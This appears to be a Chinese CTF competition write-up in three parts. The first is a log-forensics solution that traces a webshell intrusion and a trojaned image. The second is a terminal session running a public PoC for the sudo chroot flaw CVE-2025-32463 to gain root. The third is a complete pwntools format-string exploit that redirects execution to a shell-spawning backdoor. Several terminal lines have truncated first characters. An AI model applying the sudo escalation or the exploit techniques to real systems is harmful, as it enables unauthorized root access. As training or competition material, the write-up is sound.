wp

可恶的木马竟然伪装成我的朋友

线索1：木马上传日期

从 `logs/ex180223.log` 中可以看到，当天 `banner_home.jpg` 的响应大小从之前一直的 **50428 字节**，在晚上 21:18 左右之后变成 **37756 字节**，说明这一天文件被替换（被木马伪装）。

日志日期为：

> ```
> [23/Feb/2018:21:18:27 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 37756
> ```

所以木马上传事件的日期是：

2018-2-23

线索2：黑客上传木马时的 IP 地址

在同一时间段操作网站、通过 Webshell 执行命令并导致 `banner_home.jpg` 内容发生变化的 IP 是：

> ```
> 183.62.9.42
> ```

它在 21:16–21:18 内多次 `POST /sxzn/2.jsp`，然后紧接着访问首页和 `banner_home.jpg`，此时文件大小已变为 37756，说明就是这个 IP 通过 Webshell 写入了木马图片。

IP：183.62.9.42

线索3：当晚尝试访问的 Webshell 文件名（按时间先后）

同一晚（2018-02-23）中，与这次入侵相关、由该黑客 IP（183.62.9.42）依次访问的可疑 JSP Webshell 有：

1. `table.jsp`
   - `21:02:20`： `GET /sxzn/table.jsp HTTP/1.1" 404 997` （探测/尝试）
2. `en.jsp`
   - `21:02:32`： `GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 ...`
   - 后续多次 `POST en.jsp`，明显当作 Webshell 使用
3. `2.jsp`

- `21:04:39`： `GET /sxzn/2.jsp HTTP/1.1" 200 1271`
- 随后大量 `POST /sxzn/2.jsp`，显然是成功上传的后门 Webshell，并通过它编写木马图片

按尝试访问时间先后排序的文件名为：

table.jsp-en.jsp-2.jsp

最终 flag 拼接

按题目要求格式：

```
flag{日期/IP/按顺序用-连接的 Webshell 文件名}
```

所以最终答案为：

flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}

最近还好吗

linpeas扫一遍再丢给gpt，推测是CVE-2025-32463

```
pwn@7aae0bf64ba0:/tmp$ sudo --version
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2
wn@384905a39247:~$ ls
VE-2025-32463_chwoot
wn@384905a39247:~$ find ./CVE-2025-32463_chwoot/ -type f -exec sed -i 's/\r$//' {} +
wn@384905a39247:~$ cd CVE-2025-32463_chwoot/
wn@384905a39247:~/CVE-2025-32463_chwoot$ ls
ockerfile  LICENSE  README.md  run.sh  sudo-chwoot.sh
wn@384905a39247:~/CVE-2025-32463_chwoot$ chmod +x *
wn@384905a39247:~/CVE-2025-32463_chwoot$ ./sudo-chwoot.sh
oot!
oot@384905a39247:/# cat /flag
lag{89bdf763f86e5834f6aa5273f2566ad8}
pwn@7aae0bf64ba0:/tmp$ sudo -R woot woot
sudo: woot: No such file or directory
```

存在漏洞

按照github的poc进行复现即可

铸剑杯wp

pwn

我最好的初代同事

```
unsigned __int64 test_human()
{
  unsigned int seed; // eax
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  seed = time(0);
  srand(seed);
  v3 = rand() % 100;
  v4 = rand() % 100;
  printf("what's %d add %d\n", v3, v4);
  __isoc99_scanf("%d", &v2);
  if ( v4 + v3 != v2 )
  {
    puts("You are not humam");
    exit(233333);
  }
  return __readfsqword(0x28u) ^ v5;
}
```

先让ai写个脚本把算数题过了

```
unsigned __int64 talk_with_god()
{
  _QWORD buf[3]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf[0] = 0;
  buf[1] = 0;
  puts("Input:");
  read(0, buf, 0x10u);
  printf("Your input:");
  printf((const char *)buf);
  return __readfsqword(0x28u) ^ v2;
}
```

然后3次格式化字符串，但是读入只有0x10，太短了不能用常规方法

```
pwndbg> stack 20
00:0000│ rdi rsp 0x7ffdd9127620 ◂— '%23$p%14$p'
01:0008│-018     0x7ffdd9127628 ◂— 0x7024 /* '$p' */
02:0010│-010     0x7ffdd9127630 —▸ 0x610d3546e1a0 (_start) ◂— endbr64
03:0018│-008     0x7ffdd9127638 ◂— 0x6b4eb735d728dd00
04:0020│ rbp     0x7ffdd9127640 —▸ 0x7ffdd9127660 —▸ 0x7ffdd9127680 ◂— 0
05:0028│+008     0x7ffdd9127648 —▸ 0x610d3546e4ab (game+121) ◂— nop
06:0030│+010     0x7ffdd9127650 ◂— 1
07:0038│+018     0x7ffdd9127658 ◂— 0x6b4eb735d728dd00
08:0040│+020     0x7ffdd9127660 —▸ 0x7ffdd9127680 ◂— 0
```

在栈上发现了类似非栈上fmt的结构

```
io.recvuntil("[2]leave\n")
io.sendline(str(1))
io.recvuntil("Input:\n")
#gdb.attach(io)
io.send(b"%23$p%14$p")
io.recvuntil("Your input:")
main=int(io.recv(14),16)
ret=int(io.recv(14),16)-0x38
print(hex(main))
print(hex(ret))
ret_low_2 = ret & 0xFFFF
print(hex(ret))
print(hex(ret_low_2))
back=main-0x14f2+0x14e3
game=main-0x14f2+0x1432
back_low_2=back& 0xFFFF
back_low_2=back& 0xFFFF
```

先泄露栈地址和binary地址，可以算出来后门函数地址

```
io.recvuntil("[2]leave\n")
io.sendline(str(1))
io.recvuntil("Input:\n")
#gdb.attach(io)
print(len("%{}c%10$hn".format(ret_low_2)))
io.sendline("%{}c%10$hn".format(ret_low_2))
```

```
00:0000│ rsp 0x7ffeea040a40 ◂— '%2664c%10$hn\n'
01:0008│-018 0x7ffeea040a48 ◂— 0xa6e682430 /* '0$hn\n' */
02:0010│-010 0x7ffeea040a50 —▸ 0x5adce19191a0 (_start) ◂— endbr64
03:0018│-008 0x7ffeea040a58 ◂— 0x214d634540d95500
04:0020│ rbp 0x7ffeea040a60 —▸ 0x7ffeea040a80 —▸ 0x7ffeea040a68 —▸ 0x5adce19194ab (game+121) ◂— nop
05:0028│+008 0x7ffeea040a68 —▸ 0x5adce19194ab (game+121) ◂— nop
06:0030│+010 0x7ffeea040a70 ◂— 0x100000001
07:0038│+018 0x7ffeea040a78 ◂— 0x214d634540d95500
```

在rbp位置可以改a68的指向，使它指向返回地址

```
io.recvuntil("[2]leave\n")
io.sendline(str(1))
io.recvuntil("Input:\n")
gdb.attach(io)
io.sendline("%{}c%14$hn".format(back_low_2))
```

```
pwndbg> stack 20
00:0000│ rsp 0x7ffeee610170 ◂— '%50403c%14$hn\n'
01:0008│-018 0x7ffeee610178 ◂— 0xa6e68243431 /* '14$hn\n' */
02:0010│-010 0x7ffeee610180 —▸ 0x64019f14c1a0 (_start) ◂— endbr64
03:0018│-008 0x7ffeee610188 ◂— 0x178045877d346d00
04:0020│ rbp 0x7ffeee610190 —▸ 0x7ffeee6101b0 —▸ 0x7ffeee610198 —▸ 0x64019f14c4e3 (success+20) ◂— lea rdi, [rip + 0xc2e]
05:0028│+008 0x7ffeee610198 —▸ 0x64019f14c4e3 (success+20) ◂— lea rdi, [rip + 0xc2e]
06:0030│+010 0x7ffeee6101a0 ◂— 0x200000001
07:0038│+018 0x7ffeee6101a8 ◂— 0x178045877d346d00
08:0040│+020 0x7ffeee6101b0 —▸ 0x7ffeee610198 —▸ 0x64019f14c4e3 (success+20) ◂— lea rdi, [rip + 0xc2e]
```

成功修改返回地址到提权函数

```
.text:00000000000014D7                 lea     rdi, aIsItFunHahaha ; "Is it fun?Hahaha!!!"
.text:00000000000014DE                 call    _puts
.text:00000000000014E3                 lea     rdi, command    ; "/bin/sh"
.text:00000000000014EA                 call    _system
```

```
from pwn import *

#context.log_level = 'debug'
io = process('./fmt')
#io = remote('113.201.14.253',21657)
for i in range(5):
    try:
        io.recvuntil(b"what's ")
        num1 = int(io.recvuntil(b" add ", drop=True).decode())
        rest_data = io.recv(100, timeout=0.5).decode()
        match = re.match(r'\s*(\d+)', rest_data)
        if match:
            num2 = int(match.group(1))
            # 4. 计算结果
```

```
            ans = num1 + num2
            log.success(f"第 {i+1} 轮计算: {num1} + {num2} = {ans}")
            io.sendline(str(ans).encode())
        else:
            log.error("解析第二个数字失败")
    except EOFError:
        log.info("程序提前结束")
        break
io.recvuntil("[2]leave\n")
io.sendline(str(1))
io.recvuntil("Input:\n")
#gdb.attach(io)
io.send(b"%23$p%14$p")
io.recvuntil("Your input:")
main=int(io.recv(14),16)
ret=int(io.recv(14),16)-0x38
print(hex(main))
print(hex(ret))
ret_low_2 = ret & 0xFFFF
print(hex(ret))
print(hex(ret_low_2))
back=main-0x14f2+0x14e3
game=main-0x14f2+0x1432
back_low_2=back& 0xFFFF
back_low_2=back& 0xFFFF
io.recvuntil("[2]leave\n")
io.sendline(str(1))
io.recvuntil("Input:\n")
#gdb.attach(io)
print(len("%{}c%10$hn".format(ret_low_2)))
io.sendline("%{}c%10$hn".format(ret_low_2))
io.recvuntil("[2]leave\n")
io.sendline(str(1))
io.recvuntil("Input:\n")
gdb.attach(io)
io.sendline("%{}c%14$hn".format(back_low_2))
io.interactive()
```